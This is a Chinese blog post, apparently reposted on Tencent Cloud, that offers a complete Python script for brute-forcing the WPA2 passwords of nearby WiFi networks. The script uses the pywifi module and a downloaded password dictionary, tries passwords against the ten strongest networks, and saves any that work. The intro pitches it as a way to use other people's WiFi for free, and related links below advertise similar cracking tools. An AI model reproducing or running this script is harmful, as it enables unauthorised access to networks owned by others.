前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >破解wifi密码

破解wifi密码

作者头像
公众号---人生代码
发布于 2019-09-17 07:55:45
发布于 2019-09-17 07:55:45
8.7K10
代码可运行
举报
文章被收录于专栏:人生代码人生代码
运行总次数:0
代码可运行

破解wifi密码

你有没有因为网费的问题,没装网络,紧靠手机过日子,有没有附近有很多WIFI,你却用不了,是不是很痛苦,是不是很难受

接下来我就教你三部曲

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. [pywifi模块简介](https://blog.csdn.net/zjy18886018024/article/details/84846843)
2. [pywifi模块简介2](https://blog.csdn.net/qq_41185868/article/details/80396915?utm_source=blogxgwz7)
3. [字典表下载博客](https://www.cnblogs.com/lifengfneg/p/5992649.html)
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
使用暴力破解法破解wifi密码
需要从网上下载wifi密码字典
可行性并不高
"""

import time
# 破解wifi库
import pywifi
from pywifi import const


class PoJie(object):

    def __init__(self, path):
        # wifi密码字典文件
        self.file = open(path, 'r', errors='ignore')
        # 抓取网卡接口
        wifi = pywifi.PyWiFi()
        # 抓取第一个网卡
        self.iface = wifi.interfaces()[0]
        # 测试连接时断开所有的链接
        self.iface.disconnect()
        time.sleep(1)
        self.alist = self.initialssidnamelist()
        # 测试是否处于断开状态
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def bies(self):
        # 扫描
        self.iface.scan()
        # 获取扫描结果
        bessis = self.iface.scan_results()
        alist = []
        for data in bessis:
            alist.append((data.ssid, data.signal))
        # 按信号强度排序
        return len(alist), sorted(alist, key=lambda st: st[1], reverse=True)

    def getsignal(self):
        while True:
            # 获取所有的wifi
            n, data = self.bies()
            time.sleep(1)
            if n is not 0:
                # 如果数量不为0,返回前10个信号最好的
                return data[0:10]

    def initialssidnamelist(self):
        ssidlist = self.getsignal()
        namelist = []
        # 获取前10个wifi的名称
        for item in ssidlist:
            namelist.append(item[0])
        return namelist

    def readPassword(self, ssidname, myStr):
        # 测试wifi名和密码是否匹配
        bool1 = self.test_connect(myStr, ssidname)
        if len(myStr) < 8:
            return False
        if bool1:
            # 保存密码和wifi名到文件中
            save_password_to_file(myStr, ssidname)
            print('------------------------------------------------密码正确: ' + myStr + '-----' + ssidname)
            return True
        else:
            print('密码错误: ' + myStr + ' ' + ssidname)
            return False

    def test_connect(self, findStr, ssidname):
        """
        测试连接
        :param findStr: 密码
        :param ssidname: wifi名
        """
        # 创建wifi链接文件
        profile = pywifi.Profile()
        #  wifi名称
        profile.ssid = ssidname
        # 开放网卡
        profile.auth = const.AUTH_ALG_OPEN
        # wifi加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 密码
        profile.key = findStr
        # 删除所有的wifi文件
        self.iface.remove_all_network_profiles()
        # 设置新的链接文件
        tmp_profile = self.iface.add_network_profile(profile)
        # 连接
        self.iface.connect(tmp_profile)
        time.sleep(2)
        # 判断是否已经连接上
        if self.iface.status() == const.IFACE_CONNECTED:
            isOk = True
        else:
            isOk = False
        self.iface.disconnect()
        time.sleep(1)
        # 检查断开状态
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

        return isOk

    def run(self):
        while True:
            myStr = self.file.readline()
            for ssidname in self.alist:
                ret = self.readPassword(ssidname, myStr)
                if ret:
                    raise FileExistsError

    def __del__(self):
        self.file.close()


def save_password_to_file(myStr, ssidname):
    with open('password.txt', 'a') as fp:
        fp.write(str(myStr) + '-->' + str(ssidname))


if __name__ == '__main__':
    # 密码字典文件所在路径
    path = 'E:\WIFImmzidianbao\WIFI955M.txt'
    start = PoJie(path)
    start.run()

人生苦短,我用python

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-09-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 CryptoCode 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
1 条评论
热度
最新
真能找到密码吗
真能找到密码吗
回复回复点赞举报
推荐阅读
编辑精选文章
换一批
python暴力破解wifi密码程序
程序github地址:https://github.com/a15058713697/python-get-wifi-password
IT人一直在路上
2019/09/18
3.9K0
用 Python 破解 WiFi 密码,太刺激了!
这是「进击的Coder」的第 720 篇技术分享 作者:Tr0e 来源:blog.csdn.net/weixin_39190897/article/details/119778471 “ 阅读本文大概需要 13 分钟。 ” 前言 本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网。 无图形界面 先来看看没有图形界面版的爆破脚本。 WIFI 爆破 import pywifi from pywifi import const import time import d
崔庆才
2022/09/13
47K4
用 Python 破解 WiFi 密码,太刺激了!
Python攻防-暴力激活成功教程附近局域网WIFI密码「建议收藏」
本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力激活成功教程,从而实现免费蹭网。
全栈程序员站长
2022/09/23
2.9K0
Python攻防-暴力激活成功教程附近局域网WIFI密码「建议收藏」
[709]python之pywifi
这一步需要使用tkinter模块,这是python自带的图形界面库,通过import tkinter调用使用就可以了,代码中set_init_window函数就是实现界面排版功能。最后的界面实现结果如下图:
周小董
2020/01/13
2.3K0
[709]python之pywifi
昨晚家里停网后,我写了一段代码破解了隔壁小姐姐的wifi密码...
昨晚,家里停网了,对于码农而言,停网了,这能忍?打电话给修网络的,说太晚了,要第二天才能过来...
良月柒
2020/02/25
9.2K0
【收藏】使用Python暴力破解附近局域网WiFi密码
本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网。
释然IT杂谈
2021/11/16
10.2K0
【收藏】使用Python暴力破解附近局域网WiFi密码
几个很有趣的python迷你程序
这个程序可以生成自己所定义的小二维码,里面可以是网页,可以是文字,自由选择,很好玩,具体大家自己搞哈~
柳神
2024/05/30
2360
【程序源代码】暴力破解WiFi密码
“ 关键字:  “暴力破解WiFi密码 源码"  01 ———— 【总体介绍】 大家好! 今天开发一套“暴力破解WiFi密码 源码”,主要是用于暴力破解WiFi密码。这个源码是基于python语言编辑执行的。相对来说比较简单,如果有python开发基本的同学来说,其实就更容易了。 本文学习了 Python 暴力破解 WIFI 密码的方法、以及 Python GUI 图形化编程的基础使用。所演示的代码的不足在于均没有使用多线程进行 WIFI 连接测试,实际上因为 WIFI 连接测试需要一定的耗时(3-
程序源代码
2022/09/06
9.8K0
【程序源代码】暴力破解WiFi密码
女朋友让你帮他破解邻居家的wifi?看完这篇文章你就会了
现在的年轻人没网可不行,家里没有网络的也都会搜索看看附近有没有能够连接的网络,可是没有密码该怎么办呢,很多人都会想到用万能钥匙,那么本篇文章我们就用Python来自己实现一下wifi密码的破解。
wangweijun
2022/01/10
3.2K0
女朋友让你帮他破解邻居家的wifi?看完这篇文章你就会了
手把手教你用Python破解邻家小妹wifi密码
创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。代码如下:
Python小二
2022/08/24
2.9K0
手把手教你用Python破解邻家小妹wifi密码
python 连接wifi脚本
//pip install pywifi import pywifi,time from pywifi import const import subprocess
用户5760343
2022/05/14
1.3K0
12岁小读者使用Python暴力破解Wi-Fi密码
这一代后浪在父母的光环加持下,猛点技能点。有些从小学开始敲基因,有些一天能写2000首诗,有些发表的论文已经达到硕士毕业水平。但是在编程领域还有另外一群后浪,有些仅仅靠着自己的自学开始做游戏,建网站,在同龄人的互联网领域里叱诧风云
行哥玩Python
2020/08/28
2K0
12岁小读者使用Python暴力破解Wi-Fi密码
Python暴力激活成功教程wifi密码
今天给大家分享一个使用Python激活成功教程WiFi密码的代码,这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是Python3,所以各位看的时候需要注意这一点。接下来我们一步一步分析主要代码,后面同样附上完整的代码。对了,需要注意一点,就是电脑必须是要用无线网卡的。
全栈程序员站长
2022/09/23
7660
Python暴力激活成功教程wifi密码
【用python编写一个简单的单线程wifi暴力破解工具】
运行main.py,首先会调用扫描模块,将扫描结果根据型号强度排序,并编号:
全栈程序员站长
2022/07/25
9050
【用python编写一个简单的单线程wifi暴力破解工具】
wifi 暴力破解 (python)
github:https://github.com/baihengaead/wifi-crack-tool
reyeye
2023/10/13
3.2K0
python自动连接wifi_python自动点击网页
原来在本科期间买的老华硕电脑,最近开始无缘无故的黑屏、死机,让我开始有了换电脑的念头,早都想试一试苹果的系统了,所以趁着这次618活动来临,也是狠下手笔,入手了人生第一台MacBook-Air。在适应了一天之后,基本上使用起来没什么障碍了,肯定还有很多功能是我没发现的,以后在慢慢探索了。期间我也遇到了一个令人烦恼的事情,就是每次连学校的校园网,都要弹窗、登录,很繁琐,就想着试试看,自己能不能也写一个脚本来实现自动连接校园网的功能。第一次搞这玩意儿,也是遇到各种问题,写帖记录一下。
全栈程序员站长
2022/11/01
1.5K0
学了Python后,我走哪里都可以连WIFI!为什么?反正就是这么强!
WIFI破解,Python程序员必学技能。WIFI已经完全普及,现在Python程序员没网,走到哪里都不怕!教你们一招,如何在图片中提取Python脚本代码。图片发送至手机QQ长按后点识别图片中汉字,
小小科
2018/05/04
2.9K0
学了Python后,我走哪里都可以连WIFI!为什么?反正就是这么强!
手把手教你破解文件密码、wifi密码、网页密码
  有时候我们在网上下载一个压缩包后,必须要关注或者支付一定费用才给你解压密码,实属比较恶心。在这里手把手叫你实现破解文件解压密码。
程序员小藕
2020/07/28
7.3K5
手把手教你破解文件密码、wifi密码、网页密码
python pywifi
1、the status of the wifi: const.IFACE_DISCONNECTED const.IFACE_SCANNING const.IFACE_INACTIVE const.IFACE_CONNECTING const.IFACE_CONNECTED
用户5760343
2019/07/08
1.2K0
利用Python破解WiFi
https://you.bbskali.cn/MP4/ThePythonWifi.mp4
逍遥子大表哥
2021/12/17
1.5K0
利用Python破解WiFi
相关推荐
python暴力破解wifi密码程序
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验